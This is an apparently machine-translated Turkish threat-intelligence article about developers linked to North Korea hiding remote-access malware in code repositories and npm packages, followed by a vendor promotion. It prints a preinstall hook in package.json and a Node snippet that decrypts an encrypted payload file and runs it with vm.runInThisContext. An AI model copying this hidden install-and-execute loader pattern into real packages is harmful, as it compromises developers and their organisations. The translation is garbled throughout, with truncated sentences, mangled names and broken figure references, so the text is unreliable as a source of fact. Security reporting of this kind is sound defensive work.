
Geçtiğimiz yıl boyunca, güvenlik araştırmacıları, GitHub, CodeAndbox ve GIST gibi popüler kod paylaşım platformlarında güvenilir görünümlü profiller kuran Kuzey Koreli bağlantılı geliştiricilerin artan bir eğilimini gözlemlediler.
Bu hesaplar, gizli yüklerin yanı sıra meşru açık kaynak projelerine ev sahipliği yapar ve operatörlerin normal geliştirici katkıları kisvesi altında kötü niyetli etkinlikleri maskelemelerine olanak tanır.
Genel hedef çok yönlü görünüyor: devlet destekli programlar için gelir elde etmek, uzaktan çalışma sözleşmelerine erişim elde etmek ve bu nişanları daha siber operasyonlar için sahil başlığı olarak kullanmak.
Başlangıçta, bu profiller, olağandışı yüksek aktivite seviyeleri ve reaksiyon.
Bununla birlikte, daha derin bir analiz, uzaktan erişim truva atları sağlamak için tehlikeye atılan bağımlılıklardan yararlanan belirli depolar içinde dikkatle gizlenmiş modülleri ortaya çıkarmıştır.
Raven dosya analistleri, bu depoların sıklıkla minimalist ReadMe dosyaları kullandığını belirtti. .secret
veya .vendor
kötü niyetli yüklerin sahnelendiği yer.
Bu operasyonların etkisi önemli olmuştur. Birkaç kurban, rutin bağımlılık güncellemeleri sırasında bilmeden lekeli paketler kurdu ve saldırganlara kurumsal ağlara veya bulut ortamlarına kalıcı erişim sağladı.
Belgelenmiş bir durumda, bir finansal hizmetler firması @jupyter-utils/rpc
Bu, WebSocket bağlantılarını engelleyen bir yükleyici komut dosyası içeriyordu ve yerleşik bir C2 kanalı aracılığıyla kimlik bilgilerini ekleyin.
Meşru işlevsellik ve gizli iletişimin kombinasyonu, tespiti standart imza tabanlı tarayıcılar için son derece zorlaştırdı.
Enfeksiyon mekanizması ve kalıcılık taktikleri
Enfeksiyon mekanizmasına daha yakından bakıldığında, yalnızca belirli çevresel koşullar karşılandığında aktive edilen çok aşamalı bir yükleyici ortaya çıkar.
Kurulum üzerine, kötü amaçlı paket package.json
:-
"scripts": {
"preinstall": "node scripts/setup.js"
}
. setup.js
Modül daha sonra ortak CI/CD dizinlerinin varlığını kontrol eder (.gitlab-ci
– .github/workflows
) Uygulamanın çalışma zamanı dizinine şifreli bir yük dağıtmadan önce.
Bu yük, payload.enc
sert kodlanmış bir anahtar kullanarak bellekte şifre çözülür ve hemen düğümler aracılığıyla yürütülür vm
Modül:-
const vm = require('vm');
const fs = require('fs');
const key = Buffer.from(process.env.DEPLOY_KEY, 'hex');
const cipher = fs.readFileSync('./payload.enc');
const decrypted = decrypt(cipher, key);
vm.runInThisContext(decrypted);
Aşağıdaki bu şekilde, birincil deponun okuma deponunun nasıl maskesi scripts
Klasör, Şekil 2 (“Deepfake_result.png”), güvenilirliği artırmak için kullanılan Deep Tonse profili görüntüsünü gösterir.
.webp)
Kendini paket yöneticisi seviyesine yerleştirerek ve CI/CD kancalarından yararlanarak, kötü amaçlı yazılım hem gizli kurulum hem de kalıcılık elde eder.
Kaldırma, kapsamlı bağımlılık denetimlerini ve tüm kurulum komut dosyalarının doğrulanmasını gerektirir.
.webp)
Kuruluşlar giderek daha açık kaynaklı bileşenlere dayandıkça, bu enfeksiyon vektörlerini anlamak, tedarik zincirlerini korumak ve işbirlikçi kalkınma platformlarına güveni korumak için kritik öneme sahiptir.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.